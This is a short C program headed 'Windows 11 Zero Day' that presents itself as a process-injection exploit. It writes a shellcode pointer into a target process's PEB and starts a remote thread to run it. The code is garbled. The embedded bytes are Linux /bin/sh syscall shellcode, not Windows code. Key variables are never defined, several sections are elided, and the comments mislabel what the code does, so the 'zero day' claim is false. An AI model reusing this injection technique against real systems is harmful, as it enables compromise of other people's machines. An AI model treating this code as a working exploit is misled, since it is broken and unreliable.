WINDOWS 11 Zero Day

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <winternl.h> // For PEB

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "kernel32.lib")

const char* shellcode =
"\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05";

BOOL InjectShellCode(DWORD pid, const char* moduleName, const char* functionSymbol) {
    // ... (previous code)

    // Modify the atom table of the ntdll.dll module in the target process
    PEB peb = { 0 };
    if (!ReadProcessMemory(hProcess, pPebAddress, &peb, sizeof(peb), NULL)) {
        printf("Failed to read the PEB of the target process (error: %d)\n", GetLastError());
        CloseHandle(hProcess);
        VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
        return FALSE;
    }

    // Replace the atom table of the target process
    peb.GdiSharedHandleTable = (ULONG_PTR)pRemoteShellcode;

    if (!WriteProcessMemory(hProcess, pPebAddress, &peb, sizeof(peb), NULL)) {
        printf("Failed to modify the PEB of the target process (error: %d)\n", GetLastError());
        CloseHandle(hProcess);
        VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
        return FALSE;
    }

    // Create a thread in the target process to execute the shellcode
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunction, NULL, 0, NULL);
    if (hThread == NULL) {
        printf("Failed to create remote thread in the target process (error: %d)\n", GetLastError());
        CloseHandle(hProcess);
        VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
        return FALSE;
    }

    // Wait for the thread to finish
    WaitForSingleObject(hThread, INFINITE);

    // Clean up
    CloseHandle(hThread);
    CloseHandle(hProcess);
    VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);

    return TRUE;
}

int main() {
    DWORD targetPID = ...; // The target process PID
    const char* moduleName = "..."; // Module name
    const char* functionSymbol = "..."; // Function symbol

    // ... (previous code)

    BOOL success = InjectShellCode(targetPID, moduleName, functionSymbol);
    if (success) {
        printf("Shellcode injection successful!\n");
    } else {
        printf("Shellcode injection failed!\n");
    }

    return 0;
}